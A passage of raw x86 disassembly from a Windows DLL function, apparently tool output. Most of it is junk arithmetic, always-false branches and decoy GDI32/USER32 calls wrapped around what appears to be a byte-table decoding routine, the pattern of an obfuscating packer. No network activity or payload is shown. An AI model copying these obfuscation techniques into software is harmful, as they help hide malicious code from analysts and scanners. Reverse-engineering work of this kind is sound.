lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10017514
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0x1ac], 0xfffffff9
mov dword [ebp - 0x414], 0xeec2
push 3
lea ecx, [ebp - 0xbe4]
call fcn.10021765
mov dword [ebp - 4], 7
mov dword [ebp - 0xafc], 0xffffffff
mov dword [ebp - 0x70], 0
jmp 0x10016cbc
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x10016cd2
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xb20], 0x9c4d
jmp 0x10016cb5
mov dword [ebp - 0x70], 0
jmp 0x10016ce2
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x10016cfe
push dword [ebp - 0x70]
lea ecx, [ebp - 0xbe4]
call fcn.1002185c
mov dword [eax], 0xe13c9534
jmp 0x10016cdb
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xec8], eax
cmp dword [ebp - 0xdc], 0x53061ece
je 0x10016d22
mov dword [ebp - 0xa90], 1
jmp 0x10016d29
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xed0], eax
cmp dword [ebp - 0x1ac], 0
jne 0x10016d5c
mov eax, 0x1fad
test eax, eax
jne 0x10016d5c
and dword [ebp - 0x730], 0
jmp 0x10016d66
mov dword [ebp - 0x730], 1
mov eax, dword [ebp - 0x730]
neg eax
sub eax, 5
je 0x10016d88
cmp dword [ebp - 0x1ac], 0
je 0x10016d88
mov dword [ebp - 0xa98], 1
jmp 0x10016d8f
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xed8], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xee0], eax
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0xdc]
mov dword [ebp - 0x414], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb20], 0
je 0x10016ef3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb20]
neg eax
cmp eax, 1
jg 0x10016dec
mov dword [ebp - 0x520], 1
jmp 0x10016df3
and dword [ebp - 0x520], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb20]
cmp dword [ebp - 0x520], eax
jne 0x10016e14
mov dword [ebp - 0x8c4], 1
jmp 0x10016e1b
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
add eax, 8
cmp eax, dword [ebp - 0x414]
jg 0x10016e38
mov dword [ebp - 0xaa0], 1
jmp 0x10016e3f
and dword [ebp - 0xaa0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb20]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0x414], 0xfffffff6
jne 0x10016e77
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb20], 0
je 0x10016e77
mov dword [ebp - 0x3b0], 1
jmp 0x10016e7e
and dword [ebp - 0x3b0], 0
push 2
lea ecx, [ebp - 0xbe4]
call fcn.1002185c
mov ecx, dword [ebp - 0x3b0]
mov dword [eax], ecx
cmp dword [ebp - 0x3b0], 0
je 0x10016eb1
mov eax, 0x3cc9d6c8
test eax, eax
je 0x10016eb1
mov dword [ebp - 0x528], 1
jmp 0x10016eb8
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x528], eax
jg 0x10016ed2
mov dword [ebp - 0x738], 1
jmp 0x10016ed9
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x1ac]
cmp eax, dword [ebp - 0x738]
jge 0x10016ef3
mov dword [ebp - 0x530], 1
jmp 0x10016efa
and dword [ebp - 0x530], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb20]
cmp eax, dword [ebp - 0x530]
jle 0x10016f1b
mov dword [ebp - 0x840], 1
jmp 0x10016f22
and dword [ebp - 0x840], 0
imul eax, dword [ebp - 0x840], 0
mov dword [ebp - 0x1ac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb20]
mov dword [ebp - 0xafc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbe4]
call fcn.100217e7
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x22c]
inc eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0xec], 2
mov dword [ebp - 0x118], 2
mov dword [ebp - 0x19c], 0x6cbcb1a7
mov dword [ebp - 0x1d0], 0x19fa4a60
mov dword [ebp - 0x298], 0
jmp 0x10016fa4
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 4
jge 0x10016fc0
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0xb6c], 0xc93b4e1
jmp 0x10016f97
mov dword [ebp - 0xec], 3
jmp 0x10016fd9
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x10017335
mov dword [ebp - 0x320], 0
jmp 0x10016fff
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 1
jge 0x1001701b
mov eax, dword [ebp - 0x320]
mov dword [ebp + eax*4 - 0x2a0], 0xf1adb2bc
jmp 0x10016ff2
mov eax, dword [ebp - 0xec]
cmp dword [ebp + eax*4 - 0xb6c], 0
jne 0x10017044
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a0], 0
jne 0x10017044
and dword [ebp - 0x538], 0
jmp 0x1001704e
mov dword [ebp - 0x538], 1
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp + eax*4 - 0xb6c]
mov dword [ebp - 0xf2c], eax
mov dword [ebp - 0x118], 0xffffffff
cmp dword [ebp - 0x118], 1
jne 0x1001708c
mov dword [ebp - 0xac4], 1
jmp 0x10017093
and dword [ebp - 0xac4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
cmp dword [ebp - 0x118], eax
je 0x100170b4
mov dword [ebp - 0x740], 1
jmp 0x100170bb
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 6
jae 0x100170d0
mov dword [ebp - 0x540], 1
jmp 0x100170d7
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x540], 0x63e31551
jl 0x100170ef
mov dword [ebp - 0x930], 1
jmp 0x100170f6
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x930], eax
jge 0x10017110
mov dword [ebp - 0x548], 1
jmp 0x10017117
and dword [ebp - 0x548], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xb6c]
cmp dword [ebp - 0x548], eax
jne 0x10017138
mov dword [ebp - 0x748], 1
jmp 0x1001713f
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0xec], 0
je 0x10017170
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xb6c], 0
je 0x10017170
mov dword [ebp - 0x550], 1
jmp 0x10017177
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x550], eax
jle 0x10017191
mov dword [ebp - 0x848], 1
jmp 0x10017198
and dword [ebp - 0x848], 0
cmp dword [ebp - 0x848], 0xfffffffe
jg 0x100171ad
mov dword [ebp - 0x558], 1
jmp 0x100171b4
and dword [ebp - 0x558], 0
cmp dword [ebp - 0x558], 0
jae 0x100171c9
mov dword [ebp - 0x750], 1
jmp 0x100171d0
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x750], eax
jl 0x100171ea
mov dword [ebp - 0x560], 1
jmp 0x100171f1
and dword [ebp - 0x560], 0
imul eax, dword [ebp - 0x560], 0x9d9e
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xfa3c9e4a
ja 0x10017219
mov dword [ebp - 0x8cc], 1
jmp 0x10017220
and dword [ebp - 0x8cc], 0
cmp dword [ebp - 0x8cc], 0xb0ff
je 0x10017238
mov dword [ebp - 0x568], 1
jmp 0x1001723f
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xf34], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
mov dword [ebp - 0xf3c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xf20], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb6c]
cmp dword [ebp - 0x19c], eax
jge 0x10017297
mov dword [ebp - 0x758], 1
jmp 0x1001729e
and dword [ebp - 0x758], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a0]
cmp dword [ebp - 0x758], eax
jle 0x100172bf
mov dword [ebp - 0x570], 1
jmp 0x100172c6
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1d0], 0
jmp 0x100172eb
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jg 0x10017330
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x10017311
push 0x650
call dword [sym.imp.GDI32.dll_RealizePalette]
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x1001732e
push 0xdd
call dword [sym.imp.GDI32.dll_GetStockObject]
jmp 0x100172de
jmp 0x10016fcc
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x22c]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x120], 0xfffe
mov dword [ebp - 0x588], 0xe75d5f8d
mov dword [ebp - 0x128], 0xfffffff8
mov dword [ebp - 0x328], 0
jmp 0x10017381
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 2
jge 0x1001739d
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0xb5c], 0x33a79cc0
jmp 0x10017374
mov eax, 0x80d416db
test eax, eax
je 0x1001740f
cmp dword [ebp - 0x120], 0
jne 0x100173bc
xor eax, eax
jne 0x100173bc
and dword [ebp - 0x850], 0
jmp 0x100173c6
mov dword [ebp - 0x850], 1
cmp dword [ebp - 0x850], 0xffffffff
jbe 0x100173db
mov dword [ebp - 0x578], 1
jmp 0x100173e2
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
sub eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xf30], eax
cmp dword [ebp - 0x120], 0
je 0x1001740f
mov dword [ebp - 0x760], 1
jmp 0x10017416
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x760]
neg eax
cmp dword [ebp - 0x120], eax
jge 0x10017432
mov dword [ebp - 0x580], 1
jmp 0x10017439
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x580], eax
je 0x10017453
mov dword [ebp - 0x90c], 1
jmp 0x1001745a
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x588], eax
jg 0x10017480
mov dword [ebp - 0x768], 1
jmp 0x10017487
and dword [ebp - 0x768], 0
cmp dword [ebp - 0x768], 0x3783
jle 0x100174a3
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x100174a3
and dword [ebp - 0x590], 0
jmp 0x100174ad
mov dword [ebp - 0x590], 1
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x128], 0
jmp 0x100174d2
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jg 0x1001750f
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp + eax*4 - 0xb5c]
mov dword [ebp + ecx*4 - 0xb5c], eax
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x1001750d
call dword [sym.imp.USER32.dll_GetMessageTime]
jmp 0x100174c5
jmp 0x10016a33
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x22b]
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x1d8]
movzx ecx, byte [ebp + ecx - 0x22e]
movsx ecx, byte [ebp + ecx - 0x97c]
add eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x22b]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x1d8]
movzx edx, byte [ebp + edx - 0x22e]
movsx edx, byte [ebp + edx - 0x97c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x22b]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x1d8]
movzx edx, byte [ebp + edx - 0x22e]
movsx edx, byte [ebp + edx - 0x97c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x22c]
mov byte [ebp + ecx - 0x97c], al
and dword [ebp - 0x1d8], 0
jmp 0x10016a33
push 3
lea ecx, [ebp - 0x920]
call fcn.10021765
mov dword [ebp - 4], 8
mov dword [ebp - 0x14], 0xb2391cb4
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x48], 0xfc72fa5d
mov dword [ebp - 0x1bc], 0xffffffff
mov dword [ebp - 0x5c8], 0xdce9db3f
mov dword [ebp - 0x18], 0
jmp 0x100175f8
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10017614
push dword [ebp - 0x18]
lea ecx, [ebp - 0x920]
call fcn.1002185c
mov dword [eax], 0x3707822e
jmp 0x100175f1
mov dword [ebp - 0x18], 0
jmp 0x10017624
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1001763a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf64], 0
jmp 0x1001761d
mov dword [ebp - 0x18], 0
jmp 0x1001764a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x10017660
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a8], 0x6516035e
jmp 0x10017643
mov dword [ebp - 0x18], 0
jmp 0x10017670
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10017686
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc6c], 0
jmp 0x10017669
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1001769a
mov dword [ebp - 0x5b0], 1
jmp 0x100176a1
and dword [ebp - 0x5b0], 0
cmp dword [ebp - 0x14], 0
jne 0x100176b6
cmp dword [ebp - 0x14], 0
jne 0x100176b6
and dword [ebp - 0x858], 0
jmp 0x100176c0
mov dword [ebp - 0x858], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x858]
je 0x100176dd
cmp dword [ebp - 0x14], 0
je 0x100176dd
mov dword [ebp - 0x598], 1
jmp 0x100176e4
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x598]
jge 0x100176fb
mov dword [ebp - 0x770], 1
jmp 0x10017702
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x770], eax
jne 0x10017719
mov dword [ebp - 0x5a0], 1
jmp 0x10017720
and dword [ebp - 0x5a0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5a0]
mov dword [ebp + eax - 0xf64], ecx
cmp dword [ebp - 0x14], 1
jne 0x10017745
mov dword [ebp - 0x8d4], 1
jmp 0x1001774c
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x8d4]
imul eax, eax, 0x80ee
cmp eax, dword [ebp - 0x14]
jle 0x1001776c
mov dword [ebp - 0x5a8], 1
jmp 0x10017773
and dword [ebp - 0x5a8], 0
cmp dword [ebp - 0x5a8], 0xeb16
jl 0x1001778b
mov dword [ebp - 0x778], 1
jmp 0x10017792
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x778]
cmp dword [ebp - 0x5b0], eax
jl 0x100177af
mov dword [ebp - 0x860], 1
jmp 0x100177b6
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x860]
cmp eax, dword [ebp - 0x14]
jge 0x100177d0
mov dword [ebp - 0x5b8], 1
jmp 0x100177d7
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x14]
jle 0x100177f4
mov dword [ebp - 0x780], 1
jmp 0x100177fb
and dword [ebp - 0x780], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1002185c
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3fc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3fc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3fc]
mov eax, dword [eax]
add eax, dword [ebp - 0x780]
cmp eax, dword [ebp - 0x48]
jg 0x1001783e
mov dword [ebp - 0x5c0], 1
jmp 0x10017845
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10017866
mov eax, 0xfc1c
test eax, eax
jne 0x10017866
and dword [ebp - 0x928], 0
jmp 0x10017870
mov dword [ebp - 0x928], 1
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x48]
jge 0x1001788a
mov dword [ebp - 0xa64], 1
jmp 0x10017891
and dword [ebp - 0xa64], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1002185c
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x1bc], 0xd
jmp 0x100178bf
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xffffffff
jl 0x10017b51
mov dword [ebp - 0x9a8], 0xfffffff6
mov dword [ebp - 0x14], 0xf10dec53
mov esi, dword [ebp - 0x14]
push 0
lea ecx, [ebp - 0x920]
call fcn.1002185c
sub esi, dword [eax]
mov dword [ebp - 0x788], esi
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x788]
mov dword [ebp + eax - 0xf64], ecx
mov dword [ebp - 0x5c8], 0xafdfd4c7
mov eax, dword [ebp - 0x5c8]
add eax, dword [ebp - 0x788]
cmp eax, 0x724d
jle 0x10017931
mov dword [ebp - 0x5d0], 1
jmp 0x10017938
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x9a8]
cmp eax, dword [ebp - 0x5d0]
jle 0x10017952
mov dword [ebp - 0x868], 1
jmp 0x10017959
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0xe5ff1fc5
jbe 0x10017971
mov dword [ebp - 0x5d8], 1
jmp 0x10017978
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x5d8], eax
jl 0x10017992
mov dword [ebp - 0x98c], 1
jmp 0x10017999
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xeec], eax
xor eax, eax
cmp eax, 0xac012777
jb 0x100179b7
mov dword [ebp - 0xb00], 1
jmp 0x100179be
and dword [ebp - 0xb00], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x2a8], 0xfffa
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x2a8]
cmp eax, 0x74d2
jl 0x100179ef
mov dword [ebp - 0x994], 1
jmp 0x100179f6
and dword [ebp - 0x994], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a8]
mov dword [ebp - 0xcac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a8], 0xffffffff
jl 0x10017a25
mov dword [ebp - 0x790], 1
jmp 0x10017a2c
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x790]
sub eax, 0xffff
je 0x10017ad9
mov dword [ebp - 0x48], 2
jmp 0x10017a4d
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x10017ad7
mov dword [ebp - 0x14], 0
jmp 0x10017a67
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x10017abd
mov dword [ebp - 0xb0], 0
jmp 0x10017a86
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jg 0x10017aa6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x920]
call fcn.1002185c
cmp dword [eax], 0
je 0x10017aa4
jmp 0x10017aa6
jmp 0x10017a79
push dword [ebp - 0x48]
lea ecx, [ebp - 0x920]
call fcn.1002185c
cmp dword [eax], 0
je 0x10017abb
jmp 0x10017a60
jmp 0x10017a60
push dword [ebp - 0x48]
lea ecx, [ebp - 0x920]
call fcn.1002185c
cmp dword [eax], 0
je 0x10017ad2
jmp 0x10017ad7
jmp 0x10017a46
jmp 0x10017b37
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp - 0x17a]
test eax, eax
je 0x10017aff
push 0x14f1
push 0
push 0x1402
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
mov dword [ebp - 0xb0], 0xffffffec
jmp 0x10017b18
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0xf
jge 0x10017b37
mov dword [ebp - 0xa6c], 0x90d9
mov dword [ebp - 0xa6c], 0xb4c0dd78
jmp 0x10017b0b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc6c], 0
je 0x10017b4c
jmp 0x100178b2
jmp 0x100178b2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x920]
call fcn.100217e7
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x97c], 0
mov dword [ebp - 0x2b0], 0xae355683
mov dword [ebp - 0xc5c], 0xb905d09e
mov dword [ebp - 0xcb4], 4
mov dword [ebp - 0xc64], 3
mov dword [ebp - 0xcbc], 9
mov dword [ebp - 0xc70], 0xfffffff7
mov dword [ebp - 0xcc4], 0
mov dword [ebp - 0x5e0], 8
mov dword [ebp - 0x330], 0
jmp 0x10017bd7
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 3
jge 0x10017bf3
mov eax, dword [ebp - 0x330]
mov dword [ebp + eax*4 - 0x103c], 0xfffffffb
jmp 0x10017bca
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x10017c19
push 0x1290
push 0
push 0
push 0x16b5
call dword [sym.imp.GDI32.dll_PolyPolygon]
mov dword [ebp - 0x2b0], 0
jmp 0x10017c32
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 7
jne 0x10017d51
mov dword [ebp - 0xc7c], 1
mov dword [ebp - 0xccc], 0x48c443eb
mov dword [ebp - 0xcd4], 0x4d513c61
push 4
lea ecx, [ebp - 0xe34]
call fcn.10021765
mov dword [ebp - 4], 9
mov dword [ebp - 0xc88], 1
mov dword [ebp - 0xdb0], 0x3dc0e3e7
mov dword [ebp - 0xc90], 0xe82aa9da
mov dword [ebp - 0xeac], 0
mov dword [ebp - 0xc98], 0xffffffff
mov dword [ebp - 0xdb8], 0
mov dword [ebp - 0xca0], 0xffffffff
mov dword [ebp - 0xf28], 0x3004
mov dword [ebp - 0x78], 0
jmp 0x10017cd1
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 4
jge 0x10017ced
push dword [ebp - 0x78]
lea ecx, [ebp - 0xe34]
call fcn.1002185c
mov dword [eax], 0x3ffaf072
jmp 0x10017cca
mov dword [ebp - 0x78], 0
jmp 0x10017cfd
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x10017d13
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x1084], 0x4f78d7cb
jmp 0x10017cf6
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10017d30
push 0x2075
call dword [sym.imp.GDI32.dll_GetStockObject]
mov eax, dword [ebp - 0x5e0]
dec eax
mov dword [ebp - 0x5e0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe34]
call fcn.100217e7
jmp 0x10017c25
lea eax, [ebp - 0x97c]
push eax
lea ecx, [ebp - 0x1054]
call fcn.100216c1
mov dword [ebp - 0x99c], eax
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 4], 0xa
mov edx, dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x9e4]
call fcn.1000a818
mov dword [0x10617618], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1054]
call fcn.100216e4
push 1
lea ecx, [ebp - 0x420]
call fcn.10021765
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x80], 0x2d3f5047
mov dword [ebp - 0x9ac], 0xec767dbf
mov dword [ebp - 0xa0], 0
jmp 0x10017ddf
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jge 0x10017e01
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x420]
call fcn.1002185c
mov dword [eax], 0xffff
jmp 0x10017dd2
mov dword [ebp - 0xa0], 0
jmp 0x10017e1a
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x10017e36
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x948], 0x4bcd76ce
jmp 0x10017e0d
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
cmp dword [eax], 0x3695
jle 0x10017e57
mov dword [ebp - 0x9a4], 1
jmp 0x10017e5e
and dword [ebp - 0x9a4], 0
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
cmp dword [eax], 0
jne 0x10017e8a
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
mov esi, eax
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
mov edi, eax
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
mov ecx, dword [edi]
add ecx, dword [eax]
cmp dword [esi], ecx
jne 0x10017ec9
mov dword [ebp - 0x8dc], 1
jmp 0x10017ed0
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0x80], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x80]
mov dword [ebp + eax - 0x948], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x948]
mov dword [ebp - 0xca8], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x80], eax
jle 0x10017f10
mov dword [ebp - 0x5e8], 1
jmp 0x10017f17
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x5e8], eax
jl 0x10017f2e
mov dword [ebp - 0x798], 1
jmp 0x10017f35
and dword [ebp - 0x798], 0
cmp dword [ebp - 0x798], 0x3521
jle 0x10017f4d
mov dword [ebp - 0x5f0], 1
jmp 0x10017f54
and dword [ebp - 0x5f0], 0
cmp dword [ebp - 0x5f0], 0xffff
jae 0x10017f6c
mov dword [ebp - 0x9e8], 1
jmp 0x10017f73
and dword [ebp - 0x9e8], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x948]
cmp dword [ebp + eax - 0x948], ecx
jle 0x10017f9a
mov dword [ebp - 0x870], 1
jmp 0x10017fa1
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
neg eax
jne 0x10017fbd
mov eax, 0x81d68c2a
test eax, eax
jne 0x10017fbd
and dword [ebp - 0x5f8], 0
jmp 0x10017fc7
mov dword [ebp - 0x5f8], 1
cmp dword [ebp - 0x5f8], 0x2499e68f
je 0x10017fdf
mov dword [ebp - 0x7a0], 1
jmp 0x10017fe6
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xff7673ed
jbe 0x10018013
push 0
lea ecx, [ebp - 0x420]
call fcn.1002185c
cmp dword [eax], 0
